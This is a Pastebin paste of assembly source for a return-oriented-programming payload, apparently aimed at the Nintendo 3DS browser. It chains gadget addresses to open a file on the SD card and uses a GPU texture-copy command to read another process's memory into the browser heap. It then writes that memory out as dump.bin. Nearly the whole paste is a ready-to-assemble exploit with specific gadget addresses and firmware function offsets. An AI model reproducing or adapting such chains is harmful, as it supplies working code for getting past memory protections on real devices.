Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- .nds
- .create "test.bin",0x0
- SPIDER_ROP_LOC equ 0x08F01000
- SPIDER_GSPHEAPBUF equ 0x18410000;0x18370000
- DLPLAY_LOC equ (0x1A3500-0x00100000+0x03F50000+0x14000000-0x4000)
- SIZE equ 0x010000
- spiderRop:
- ;Open file
- .word 0x0029C170 ; LDMFD SP!, {R0-R4,PC}
- .word 0x08F10040
- .word SPIDER_ROP_LOC+fname ; Filename pointer
- .word 0x00000006 ; Write + Create
- .word 0xDEADC0DE
- .word 0xDEADC0DE
- .word 0x002D6A34 ; pop {lr, pc}
- .word 0x0010DB6C ; lr (pop {pc})
- .word 0x0025B0A4 ; IFile_Open(), then LDMFD SP!, {R4-R7,PC}
- ;flush data cache
- .word 0x0029C170 ; pop {r0, r1, r2, r3, r4, pc}
- .word 0x003B643C ; r0 (handle ptr)
- .word 0xFFFF8001 ; r1 (kprocess handle)
- .word SPIDER_GSPHEAPBUF ; r2 (address)
- .word SIZE ; r3 (size)
- .word 0xDEADC0DE ; r4 (garbage)
- .word 0x002D6A34 ; pop {lr, pc}
- .word 0x0010DB6C ; lr (pop {pc})
- .word 0x00344C2C ; GSPGPU_FlushDataCache
- ;send GX command
- .word 0x002AD574 ; pop {r0, pc}
- .word 0x003F54E8+0x58 ; r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
- .word 0x00269758 ; pop {r1, pc}
- .word SPIDER_ROP_LOC+gxCommand ; r1 (cmd addr)
- .word 0x002D6A34 ; pop {lr, pc}
- .word 0x0010DB6C ; lr (pop {pc})
- .word 0x002CF3EC ; nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
- ;sleep for a bit
- .word 0x002AD574 ; pop {r0, pc}
- .word 500000000 ; r0 (half second)
- .word 0x00269758 ; pop {r1, pc}
- .word 0x00000000 ; r1 (nothing)
- .word 0x002D6A34 ; pop {lr, pc}
- .word 0x0010DB6C ; lr (pop {pc})
- .word 0x002A513C ; svc 0xa | bx lr
- ;Write out to file
- .word 0x0029C170 ; LDMFD SP!, {R0-R4,PC}
- .word 0x08F10040
- .word SPIDER_ROP_LOC+bytesWritten ; Bytes written pointer
- .word SPIDER_GSPHEAPBUF ; Src
- .word SIZE ; Size
- .word 0xDEADC0DE
- .word 0x002D6A34 ; pop {lr, pc}
- .word 0x0010DB6C ; lr (pop {pc})
- .word 0x00311D90 ; IFile_Write(), then LDMFD SP!, {R4-R11,PC}
- .word 0xFFFFFFFF ; Crash and burn
- .align 0x4
- gxCommand:
- .word 0x00000004 ;command header (SetTextureCopy)
- .word DLPLAY_LOC ;source address
- .word SPIDER_GSPHEAPBUF ;destination address
- .word SIZE ;size
- .word 0xFFFFFFFF ; dim in
- .word 0xFFFFFFFF ; dim out
- .word 0x00000008 ; flags
- .word 0x00000000 ; unused
- fname:
- .db "d", 0x00, "m", 0x00, "c", 0x00, ":", 0x00, "/", 0x00, "d", 0x00, "u", 0x00, "m", 0x00, "p", 0x00, ".", 0x00, "b", 0x00, "i", 0x00, "n", 0x00, 0x00
- bytesWritten:
- .word 0x0
- end:
- .Close
Advertisement
Add Comment
Please, Sign In to add comment